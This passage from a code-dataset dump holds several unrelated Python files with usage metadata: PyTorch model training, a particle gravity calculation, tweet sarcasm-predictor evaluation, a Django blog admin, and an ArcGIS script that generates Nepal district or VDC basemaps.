1862, "usage_type": "attribute"}, {"api_name": "models.Node", "line_number": 1862, "usage_type": "name"}, {"api_name": "mock.patch", "line_number": 1874, "usage_type": "call"}, {"api_name": "mock.patch", "line_number": 1883, "usage_type": "call"}, {"api_name": "core.tests.TestMigrations", "line_number": 1892, "usage_type": "name"}, {"api_name": "factory_boy.utils.create_dataset_with_necessary_models", "line_number": 1899, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1903, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1903, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1903, "usage_type": "name"}, {"api_name": "search_indexes.NodeIndex.DOWNLOAD_URL", "line_number": 1904, "usage_type": "attribute"}, {"api_name": "search_indexes.NodeIndex", "line_number": 1904, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.filter", "line_number": 1911, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1911, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1911, "usage_type": "name"}, {"api_name": "search_indexes.NodeIndex.DOWNLOAD_URL", "line_number": 1912, "usage_type": "attribute"}, {"api_name": "search_indexes.NodeIndex", "line_number": 1912, "usage_type": "name"}, {"api_name": "models.AttributeOrder.objects.all", "line_number": 1915, "usage_type": "call"}, {"api_name": "models.AttributeOrder.objects", "line_number": 1915, "usage_type": "attribute"}, {"api_name": "models.AttributeOrder", "line_number": 1915, "usage_type": "name"}, {"api_name": "search_indexes.NodeIndex.DOWNLOAD_URL", "line_number": 1921, "usage_type": "attribute"}, {"api_name": "search_indexes.NodeIndex", "line_number": 1921, "usage_type": "name"}, {"api_name": "factory_boy.utils.create_dataset_with_necessary_models", "line_number": 1928, "usage_type": "call"}, {"api_name": "factory_boy.utils.create_dataset_with_necessary_models", "line_number": 1933, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 1973, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1973, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 1975, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1975, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1975, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1984, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1984, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 1986, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1986, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1986, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 1991, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1991, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 1993, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 1993, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 1993, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2001, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2001, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 2003, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2003, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2003, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2007, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2007, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 2009, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2009, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2009, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2014, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2014, "usage_type": "attribute"}, {"api_name": "core.models.DataSet.objects.last", "line_number": 2016, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2016, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2016, "usage_type": "name"}, {"api_name": "django.test.TestCase", "line_number": 2023, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2025, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2025, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 2034, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2034, "usage_type": "attribute"}, {"api_name": "django.core.management.call_command", "line_number": 2042, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 2049, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2049, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2049, "usage_type": "name"}, {"api_name": "file_store.models.FileStoreItem.objects.count", "line_number": 2052, "usage_type": "call"}, {"api_name": "file_store.models.FileStoreItem.objects", "line_number": 2052, "usage_type": "attribute"}, {"api_name": "file_store.models.FileStoreItem", "line_number": 2052, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2055, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2055, "usage_type": "attribute"}, {"api_name": "django.core.management.call_command", "line_number": 2063, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 2069, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2069, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2069, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2072, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2072, "usage_type": "attribute"}, {"api_name": "django.core.management.call_command", "line_number": 2080, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 2088, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2088, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2088, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 2091, "usage_type": "call"}, {"api_name": "os.path", "line_number": 2091, "usage_type": "attribute"}, {"api_name": "django.core.management.CommandError", "line_number": 2099, "usage_type": "argument"}, {"api_name": "django.core.management.call_command", "line_number": 2100, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects.count", "line_number": 2109, "usage_type": "call"}, {"api_name": "core.models.DataSet.objects", "line_number": 2109, "usage_type": "attribute"}, {"api_name": "core.models.DataSet", "line_number": 2109, "usage_type": "name"}, {"api_name": "override_storage.override_storage", "line_number": 2021, "usage_type": "call"}, {"api_name": "django.test.override_settings", "line_number": 2022, "usage_type": "call"}]} {"seq_id": "249005333", "text": "import torch\nimport torch.autograd as autograd\nimport torch.nn.functional as F\nimport torch.utils.data as data\nfrom torch.autograd import Variable\nfrom torchvision import transforms\nimport numpy as np\nimport tqdm\n\n\ndef train_model(train_data, validation_data, model, learning_rate, weight_decay, epochs, num_workers, batch_size, path, cuda):\n\n optimizer = torch.optim.SGD(model.parameters(), lr=learning_rate, momentum=0.1)\n model.train()\n\n for epoch in range(1, epochs + 1):\n\n print(\"-------\\nEpoch {}:\\n\".format(epoch))\n\n lr = (learning_rate ** ((epoch // 10)+1))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n loss = run_epoch(train_data, True, model, optimizer, num_workers, batch_size, cuda)\n\n print('Train Loss: {}'.format(loss))\n\n val_predicted = predict(validation_data, model, cuda)\n\n print(get_accuracy(validation_data, val_predicted))\n\n # val_loss = run_epoch(validation_data, False, model, optimizer, num_workers, batch_size)\n # print('Validation Loss: {}'.format(loss))\n\n # torch.save(model, path)\n\n\ndef run_epoch(data, is_training, model, optimizer, num_workers, batch_size, cuda):\n\n data_loader = torch.utils.data.DataLoader(data, batch_size=batch_size, shuffle=True, num_workers=num_workers)\n losses = []\n for batch in tqdm.tqdm(data_loader):\n\n image, cat = Variable(batch['image']), Variable(batch['category'])\n if cuda:\n image = image.cuda()\n cat = cat.cuda()\n\n if is_training:\n optimizer.zero_grad()\n\n out = model(image)\n\n loss = F.nll_loss(out, cat.long())\n\n if is_training:\n loss.backward()\n optimizer.step()\n losses.append(loss.cpu().data[0])\n\n return np.mean(losses)\n\n\ndef predict(data, model, cuda):\n\n data_loader = torch.utils.data.DataLoader(data, batch_size=4, shuffle=False, num_workers=2)\n predicted = []\n for d in tqdm.tqdm(data_loader):\n if isinstance(d, dict):\n images = d['image']\n else:\n images = d\n\n var = Variable(images)\n if cuda:\n var = var.cuda()\n out = model(var)\n _, p = torch.topk(out.data, k=5, dim=1)\n predicted.extend(p)\n return predicted\n\n\ndef get_accuracy(data, predicted):\n one_count = 0\n five_count = 0\n for i in range(len(data)):\n point = data[i]\n predictions = predicted[i]\n label = point['category']\n one_count += int(label == predictions[0])\n five_count += int(label in predictions)\n return float(one_count) / len(predicted), float(five_count) / len(predicted)\n", "sub_path": "net_train.py", "file_name": "net_train.py", "file_ext": "py", "file_size_in_byte": 2684, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.optim.SGD", "line_number": 13, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 40, "usage_type": "argument"}, {"api_name": "torch.utils", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.functional.nll_loss", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 66, "usage_type": "argument"}, {"api_name": "torch.utils", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 74, "usage_type": "call"}, {"api_name": "torch.topk", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 86, "usage_type": "argument"}, {"api_name": "torch.utils.data", "line_number": 87, "usage_type": "name"}]} {"seq_id": "248942965", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Dec 21 19:06:19 2018\r\n\r\n@author: My Surface Pro\r\n\"\"\"\r\nimport numpy as np\r\nimport scipy.constants as c\r\n\r\nt_step = 1\r\nt_cycles = 10\r\nt_step_array = np.zeros((t_cycles, 1))\r\n\r\n\r\nclass particle:\r\n def __init__(self, mass, charge, \\\r\n initial_position_x, initial_position_y, initial_position_z, initial_velocity_x, initial_velocity_y, initial_velocity_z):\r\n self.mass, self.charge, \\\r\n self.initial_position_x, self.initial_position_y, self.initial_position_z, self.initial_velocity_x, self.initial_velocity_y, self.initial_velocity_z, \\\r\n self.position_x, self.position_y, self.position_z, self.velocity_x, self.velocity_y, self.velocity_z, self.force_x, self.force_y, self.force_z \\\r\n = mass, charge, \\\r\n initial_position_x, initial_position_y, initial_position_z, initial_velocity_x, initial_velocity_y, initial_velocity_z, \\\r\n np.full((t_cycles, 1), initial_position_x), np.full((t_cycles, 1), initial_position_y), np.full((t_cycles, 1), initial_position_z), np.full((t_cycles, 1), initial_velocity_x), np.full((t_cycles, 1), initial_velocity_y), np.full((t_cycles, 1), initial_velocity_z), np.zeros((t_cycles, 1)), np.zeros((t_cycles, 1)), np.zeros((t_cycles, 1))\r\n\r\n\r\nP = np.empty(0)\r\n\r\np0 = particle(10**3, -1, 0, 0, 0, 0, 0, 0)\r\nP = np.append(P, p0)\r\np1 = particle(10**3, -1, 1, 1, 1, 1, 1, 1)\r\nP = np.append(P, p1)\r\n\r\nf_x = 0\r\nf_y = 0\r\nf_z = 0\r\nk = 0\r\nfor i in range(1, int(float(np.shape(P)[0]))):\r\n for j in range(1, int(float(np.shape(P)[0]))):\r\n if i != j:\r\n \r\n radius = np.sqrt(float((P[j].position_x[k] - P[i].position_x[k])**2 + (P[j].position_y[k] - P[i].position_y[k])**2 + (P[j].position_z[k] - P[i].position_z[k])**2))\r\n \r\n inclination = np.arccos((P[j].position_z[k] - P[i].position_z[k])/radius)\r\n \r\n azimuth = np.arctan((P[j].position_y[k] - P[i].position_y[k])/(P[j].position_x[k] - P[i].position_x[k]))\r\n \r\n magnitude = float(-c.G*P[i].mass*P[j].mass/radius**2)\r\n \r\n f_x = magnitude*np.sin(inclination)*np.cos(azimuth)\r\n\r\n f_y = magnitude*np.sin(inclination)*np.sin(azimuth)\r\n \r\n f_z = magnitude*np.cos(inclination) \r\n \r\n P[i].force_x[k] += f_x\r\n P[i].force_y[k] += f_y\r\n P[i].force_z[k] += f_z\r\n \r\n print(f_x)\r\n \r\n else:\r\n print(i, j, \"bad\")", "sub_path": "untitled7.py", "file_name": "untitled7.py", "file_ext": "py", "file_size_in_byte": 2521, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.arccos", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.constants.G", "line_number": 47, "usage_type": "attribute"}, {"api_name": "scipy.constants", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.sin", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.cos", "line_number": 53, "usage_type": "call"}]} {"seq_id": "87875965", "text": "import configparser\nimport sys\nimport pandas as pd\nimport pickle\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import f1_score\nfrom integrators.or_integrator import ORIntegrator\nfrom integrators.and_integrator import ANDIntegrator\nfrom integrators.only_hist_integrator import OnlyHistoricalTweetIntegrator\nfrom integrators.relaxed_and_integrator import RelaxedANDIntegrator\nfrom historical_predictor.h_predictor import HistoricPredictor\nfrom contrast_predictor.c_predictor import ContrastPredictor\nfrom predictor.predictor_with_storage import PredictorWithStorage\n\n\ndef precision_rec_f1(real, predicted):\n return \"P = \" + str(precision_score(real, predicted)) + \", R = \" + str(\n recall_score(real, predicted)) + \", F = \" + str(\n f1_score(real, predicted))\n\n\nconfig = configparser.ConfigParser()\nconfig.read(sys.argv[1])\n\n# Load test set\ntest_set = pd.read_csv(config['dataset']['test'], sep=\";\", encoding='utf-8')\n\n# Lists with real and map with predicted values\nreal = []\npredicted = {key: [] for key in ['OHT', 'OR', 'AND', 'R-AND']}\n\n# initalizing predictors\nhist_predictor = PredictorWithStorage(HistoricPredictor(download_path=config['storage']['download_hist_tweets'],\n # lexicon_file='/home/mihael/Documents/8. '\n # 'semestar/SEMINAR/git/Implementacija/lexicon/L2/filtered/l2_lexicon_formatted.txt'\n ),\n store_file=config['storage']['hist'])\ncontrast_predictor = PredictorWithStorage(ContrastPredictor(config['dataset']['phrases']\n , # lexicon_file='/home/mihael/Documents/8. '\n # 'semestar/SEMINAR/git/Implementacija/lexicon/L2/filtered/l2_lexicon_formatted.txt'\n ),\n store_file=config['storage']['contrast'])\n\n##initalizing integrators\nand_integrator = ANDIntegrator(hist_predictor, contrast_predictor)\nor_integrator = ORIntegrator(hist_predictor, contrast_predictor)\noHTI_integrator = OnlyHistoricalTweetIntegrator(hist_predictor)\nrelaxedAND_integrator = RelaxedANDIntegrator(hist_predictor, contrast_predictor)\n\n# DEBUG\nbrojac = 0\nlimit = len(test_set)\n\nfor index, row in test_set.iterrows():\n tweet_id, sarcastic = row['tweet'], True if row['sentiment'] == 1 else False\n try:\n # AND integrator\n and_integrator.fit(tweet_id)\n predicted['AND'].append(and_integrator.predict())\n\n # OR integrator\n or_integrator.fit(tweet_id)\n predicted['OR'].append(or_integrator.predict())\n\n # Only Historical tweet integrator\n oHTI_integrator.fit(tweet_id)\n predicted['OHT'].append(oHTI_integrator.predict())\n\n # Relaxed AND integrator\n relaxedAND_integrator.fit(tweet_id)\n predicted['R-AND'].append(relaxedAND_integrator.predict())\n\n # DEBUG\n hist_predictor.fit(tweet_id)\n contrast_predictor.fit(tweet_id)\n\n real.append(sarcastic)\n brojac += 1\n except:\n print(\"FAIL - tweet not avaliable anymore: \" + str(tweet_id))\n limit -= 1\n print(str(brojac) + \"/\" + str(limit) + \" -> h: \" + str(hist_predictor.predict()) + \", c: \" + str(\n contrast_predictor.predict()) + \", REAL: \" + str(sarcastic))\n if brojac >= limit:\n break\n\noutput_result = open('/home/mihael/Documents/8. semestar/SEMINAR/git/Implementacija/test/test_result.pkl', 'wb')\npickle.dump(predicted, output_result)\noutput_result.close()\n\n# Print results\nprint(\"----------------------------\")\nprint(\"Only historical tweet-based:\")\nprint(precision_rec_f1(real, predicted['OHT']))\nprint(\"----------------------------\")\nprint(\"OR\")\nprint(precision_rec_f1(real, predicted['OR']))\nprint(\"----------------------------\")\nprint(\"AND:\")\nprint(precision_rec_f1(real, predicted['AND']))\nprint(\"----------------------------\")\nprint(\"Relaxed-AND:\")\nprint(precision_rec_f1(real, predicted['R-AND']))\n", "sub_path": "Implementacija/test/evaluation.py", "file_name": "evaluation.py", "file_ext": "py", "file_size_in_byte": 4194, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sklearn.metrics.precision_score", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 20, "usage_type": "call"}, {"api_name": "configparser.ConfigParser", "line_number": 23, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 27, "usage_type": "call"}, {"api_name": "predictor.predictor_with_storage.PredictorWithStorage", "line_number": 34, "usage_type": "call"}, {"api_name": "historical_predictor.h_predictor.HistoricPredictor", "line_number": 34, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 39, "usage_type": "name"}, {"api_name": "predictor.predictor_with_storage.PredictorWithStorage", "line_number": 39, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor.ContrastPredictor", "line_number": 39, "usage_type": "call"}, {"api_name": "integrators.and_integrator.ANDIntegrator", "line_number": 46, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 46, "usage_type": "argument"}, {"api_name": "integrators.or_integrator.ORIntegrator", "line_number": 47, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 47, "usage_type": "argument"}, {"api_name": "integrators.only_hist_integrator.OnlyHistoricalTweetIntegrator", "line_number": 48, "usage_type": "call"}, {"api_name": "integrators.relaxed_and_integrator.RelaxedANDIntegrator", "line_number": 49, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 49, "usage_type": "argument"}, {"api_name": "contrast_predictor.c_predictor.fit", "line_number": 76, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 76, "usage_type": "name"}, {"api_name": "contrast_predictor.c_predictor.predict", "line_number": 84, "usage_type": "call"}, {"api_name": "contrast_predictor.c_predictor", "line_number": 84, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 89, "usage_type": "call"}]} {"seq_id": "539271929", "text": "from blog.models import Blog\nfrom django.contrib import admin\n\nclass BlogAdmin(admin.ModelAdmin):\n list_filter = ('title'),\n search_fields = ('title'),\n list_display = ('title', 'pub_date', 'likes')\n fieldsets = [\n ('Title', {'fields': ['title']}),\n ('Date information', {'fields': ['pub_date']}), #'classes': ['collapse']\n ('Content', {'fields': ['body']}),\n ('Thumbnail', {'fields': ['thumbnail']}),\n ('Likes', {'fields': ['likes']}),\n ]\n\nadmin.site.register(Blog, BlogAdmin)\n", "sub_path": "blog/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 578, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 4, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 16, "usage_type": "call"}, {"api_name": "blog.models.Blog", "line_number": 16, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 16, "usage_type": "name"}]} {"seq_id": "268575999", "text": "# Basemap Generation Tool\r\n# 6-16-2017\r\n# Created by: Nirav Ilango\r\n# Contact: nilango@usaid.gov or niravilango@gmail.com\r\n# Purpose: create basemaps of different levels of zoom for Nepal\r\n\r\n#import modules\r\nimport arcpy\r\nimport sys\r\nimport os\r\nimport datetime \r\nimport random\r\n\r\n#parameters\r\nfocuslevel = arcpy.GetParameterAsText(0)\r\nfocus = arcpy.GetParameterAsText(1)\r\noutput = arcpy.GetParameterAsText(2)\r\n\r\n# this section creates your basic layers and the file that we write to \r\nfile = open(r\"P:\\Public\\PublicGIS\\Scripts\\test1.txt\", \"w\") #this is your test file to write to\r\nmxdpath = r\"P:\\Public\\PublicGIS\\Scripts\" #working folder\r\nfilename = \"BasemapTemplate.mxd\" #this is the template you should modify to change the map, an mxd version will also be saved\r\nfullpath = os.path.join(mxdpath, filename) #safer way of referencing template\r\nmxd = arcpy.mapping.MapDocument(fullpath) #creates map document\r\ndf = arcpy.mapping.ListDataFrames(mxd)[0] #references first dataframe\r\ndf2 = arcpy.mapping.ListDataFrames(mxd)[1] # references inset map\r\nlegend = arcpy.mapping.ListLayoutElements(mxd, \"LEGEND_ELEMENT\", \"Legend\")[0] #references legend\r\nlegend.autoAdd = False # this adds the initial layer to the document\r\n\r\n#this section adjust the inset map\r\nif focuslevel == \"District\": #adjusts which field is parsed and which layer is added to the inset map\r\n\tpath = r\"P:\\Public\\PublicGIS\\Scripts\\Districts.shp\"\r\n\tfield2 = \"DISTRICT\"\r\n\tlayer = arcpy.mapping.Layer(path)\r\nelse:\r\n\tpath = r\"P:\\Public\\PublicGIS\\Scripts\\VDCMun.shp\"\r\n\tfield2 = \"GaPa_NaPa\"\r\n\tlayer = arcpy.mapping.Layer(path)\r\n\r\nfc = path #either opens districts or vdcmun\r\nfield1 = \"Symbol\" #this is the symbology field\r\ncursor = arcpy.UpdateCursor(fc) #normalizes data for one field that determines symbol\r\nfor row in cursor:\r\n\trow.setValue(field1, 0) #resets to 0\r\n\tcursor.updateRow(row)\r\n\tif row.getValue(field2) == focus.title() or row.getValue(field2) == focus.upper(): #highlights the correct VDC or district as red\r\n\t\t\trow.setValue(field1, 1)\r\n\t\t\tcursor.updateRow(row)\r\n\r\narcpy.mapping.AddLayer(df2, layer, \"TOP\") #adds to inset map\r\n\r\nfor lyr in arcpy.mapping.ListLayers(mxd, \"\", df2): #references map layer so its symbology can be changed\r\n\tlayer = lyr\r\n\r\ndata = r\"P:\\Public\\PublicGIS\\Scripts\"\r\nfname = \"BasemapInsetSymbology.lyr\" #layer file that marks all areas no color, except the focus region, which it marks as red\r\npath = os.path.join(data, fname) #creates path (os path join is a safer method than writing out the whole link)\r\nsymbol = arcpy.mapping.Layer(path) \r\narcpy.mapping.UpdateLayer(df2, layer, symbol, True) #symbology update\r\n\r\ndistrict = focus.upper() #upper bc all district names are in upper case\r\nvdc = focus.title() #title bc all vdc names are in title case\r\n#this section creates the erase layer by copying either the original districts or VDC file, raises error if no items are selected during the select by attribute\r\nif focuslevel == \"District\":\r\n\tcopy = arcpy.mapping.Layer(r\"P:\\Public\\PublicGIS\\Scripts\\Districts.shp\") #base districts file\r\n\tarcpy.SelectLayerByAttribute_management(copy, \"NEW_SELECTION\", \"\\\"DISTRICT\\\" = '\" + district + \"'\") #finds where district is = the input name\r\n\tnumselected = arcpy.GetCount_management(copy) \r\n\tif int(numselected.getOutput(0)) == 0: #error if district is incorrect\r\n\t\tarcpy.AddError(\"Incorrect district name\")\r\n\t\traise arcpy.ExecuteError \r\nelse:\r\n\tcopy = arcpy.mapping.Layer(r\"P:\\Public\\PublicGIS\\Scripts\\VDCMun.shp\")\r\n\tarcpy.SelectLayerByAttribute_management(copy, \"NEW_SELECTION\", \"\\\"GaPa_NaPa\\\" = '\" + vdc + \"'\") #finds where vdc is = the input name\r\n\tnumselected = arcpy.GetCount_management(copy) \r\n\tif int(numselected.getOutput(0)) == 0: #error if vdc is incorrect\r\n\t\tarcpy.AddError(\"Incorrect VDC name\")\r\n\t\traise arcpy.ExecuteError \r\n\r\narcpy.SelectLayerByAttribute_management(copy, \"CLEAR_SELECTION\") #clears selection\r\nworkpath = r\"P:\\Public\\PublicGIS\\Scripts\\BasemapTest\"\r\nrandomnum = random.randrange(10000)\r\nstrrandom = str(randomnum) #this is in order to prevent saving the shapefile name to the same directory, which is an error\r\nname = \"E_\" + focus + strrandom + \".shp\"\r\npath = os.path.join(workpath, name)\r\narcpy.CopyFeatures_management(copy, path) #exports new file with only these projects\r\nerase = arcpy.mapping.Layer(path)\r\narcpy.mapping.AddLayer(df, erase, \"TOP\")\r\nname = name[:-4]\r\n\r\n#this section erases the feature from the erase layer, this way the map appears to be featuring one district/vdc\r\nfc = path\r\nif focuslevel == \"District\":\r\n\tfield1 = \"DISTRICT\"\r\n\tcursor = arcpy.UpdateCursor(fc) #updates data for one field that determines symbol\r\n\tfor row in cursor:\r\n\t\tif row.getValue(field1) == district:\r\n\t\t\tcursor.deleteRow(row)\r\nelse:\r\n\tfield1 = \"GaPa_NaPa\"\r\n\tfield2 = \"DISTRICT\"\r\n\tcursor = arcpy.UpdateCursor(fc) #updates data for one field that determines symbol\r\n\tfor row in cursor:\r\n\t\tif row.getValue(field1) == vdc: \r\n\t\t\tdistrict = focus.title()\r\n\t\t\tfocus = row.getValue(field2)\r\n\t\t\tcursor.deleteRow(row)\r\n\r\n#this re-references layers so they can be manipulated later\t\t\t\r\nfor lyr in arcpy.mapping.ListLayers(mxd, \"\", df):\r\n\t\tif lyr.name == name:\r\n\t\t\terase = lyr\r\n\t\tif lyr.name == \"District Boundary\":\r\n\t\t\tdboundary = lyr\r\n\t\tif lyr.name == \"VDC/Municipality Boundary\":\r\n\t\t\tlyr.definitionQuery = \" \\\"DISTRICT\\\" = '\" + district + \"'\" \r\n\t\t\tvboundary = lyr\r\n\t\tif lyr.name == \"Towns & Cities\":\r\n\t\t\tlyr.definitionQuery = \" \\\"DNAME\\\" = '\" + district + \"'\" \r\n\t\t\t\r\nfname = \"E.lyr\"\r\npath = os.path.join(mxdpath, fname)\r\nsym = arcpy.mapping.Layer(path)\r\narcpy.mapping.UpdateLayer(df, erase, sym, True) #symbols and layers for districts/vdcs\r\nerase.transparency = 30 #background transparency set (no data over feature set)\r\n\r\n#this section zooms the map to the correct extent\r\nif focuslevel == \"District\":\r\n\tdistrict = focus.upper() #upper bc all district names are in upper case\r\n\tarcpy.SelectLayerByAttribute_management(dboundary, \"NEW_SELECTION\", \"\\\"DISTRICT\\\" = '\" + district + \"'\")\r\n\tdf.extent = dboundary.getSelectedExtent() #zooms\r\n\tarcpy.SelectLayerByAttribute_management(dboundary, \"CLEAR_SELECTION\") #clears selection\r\nelse:\r\n\tarcpy.SelectLayerByAttribute_management(vboundary, \"NEW_SELECTION\", \"\\\"GaPa_NaPa\\\" = '\" + vdc + \"'\")\r\n\tdf.extent = vboundary.getSelectedExtent()\r\n\tarcpy.SelectLayerByAttribute_management(vboundary, \"CLEAR_SELECTION\") #clears selection\r\n\r\n#this section updates the title of the map\r\nnow = datetime.datetime.now()\r\nyear = now.year #gets time for title\r\nfor elm in arcpy.mapping.ListLayoutElements(mxd, \"TEXT_ELEMENT\"): #updates Title\r\n\tif elm.text == \"Basemap\":\r\n\t\telm.text = focus.title() + \" Basemap, \" + str(year)\r\n\tif elm.text[:7] == \"Updated\":\r\n\t\telm.text = \"Updated: \" + str(now.month) + \"-\" + str(now.day) + \"-\" + str(year) + \"\\n\" + \"USAID/Nepal Geospatial Lab\"\r\n\r\n#finally saves data\r\narcpy.mapping.ExportToPDF(mxd, output)\r\nmxdoutput = output + \".mxd\"\r\nmxd.saveACopy(mxdoutput)\r\n\r\nfile.close()", "sub_path": "basemap.py", "file_name": "basemap.py", "file_ext": "py", "file_size_in_byte": 6894, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "arcpy.GetParameterAsText", "line_number": 15, "usage_type": "call"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 16, "usage_type": "call"}, {"api_name": "arcpy.GetParameterAsText", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.MapDocument", "line_number": 24, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 24, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListDataFrames", "line_number": 25, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 25, "usage_type": "attribute"}, 